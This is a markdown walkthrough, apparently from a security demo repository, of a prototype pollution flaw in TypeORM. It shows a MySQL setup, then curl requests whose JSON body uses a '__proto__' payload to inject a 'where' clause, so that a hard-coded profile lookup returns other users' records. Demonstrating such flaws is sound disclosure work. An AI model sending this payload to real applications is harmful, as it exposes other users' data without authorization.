Skip to content

Latest commit

 

History

History
82 lines (62 loc) · 2.12 KB

prototype-pollution-typeorm.md

File metadata and controls

82 lines (62 loc) · 2.12 KB

Prototype Pollution in TypeORM

Prototype Pollution in TypeORM can lead to SQL Injection attacks in both MongoDB and MySQL types of databases, as well as Denial of Service or escalate to other types of attacks for a vulnerable Node.js web application.

Requirements

You'll need a MySQL server running. Try this:

# use mysql:5 as that still supports the good old native password mechanism to login
# and keep things simple for the demo
docker run -p3306:3306 --rm --name mysqld -e MYSQL_ROOT_PASSWORD=root mysql:5

Create the dummy acme database:

create database acme;

For the MySQL client (to browse database records and such):

docker exec -it mysqld mysql -uroot -p

Setup

The root file ./typeorm-db.js gets called when the app starts and seeds the database with 2 sample users.

Exploit scenario

Step 1 - Normal request

You can create new users via POST /users

curl --request POST \
  --url http://localhost:3001/users \
  --header 'content-type: application/json' \
  --data '{
	"name": "a",
	"address": "vvv",
	"role": "user"
}'

Step 2 - A request to get your own profile

A request to get your own profile always results in your own user (right now hard-coded with id:1)

curl --request GET \
  --url http://localhost:3001/users \
  --header 'content-type: application/json'

Step 3 - Poison the Object's prototype

We now send a request that creates a user, but poison the prototype chain through an insecure merge of objects that happens within TypeORM's code, and results in Object having a where object property.

curl --request POST \
  --url http://localhost:3001/users \
  --header 'content-type: application/json' \
  --data '{
	"name": "a",
	"address": {
		"__proto__": {
			"where": {
				"id": "2",
				"where": null
			}
		}
	}
}'

Step 4 - Fetch your profile again

Now go back to Step 1 and fetch the user profile again. Now you get profile 2 instead of the hard-code profile id 1. Why does it happen? Because with TypeORM's where clause takes precendence over the id specifier and we're now able to enumerate and get every account id we want.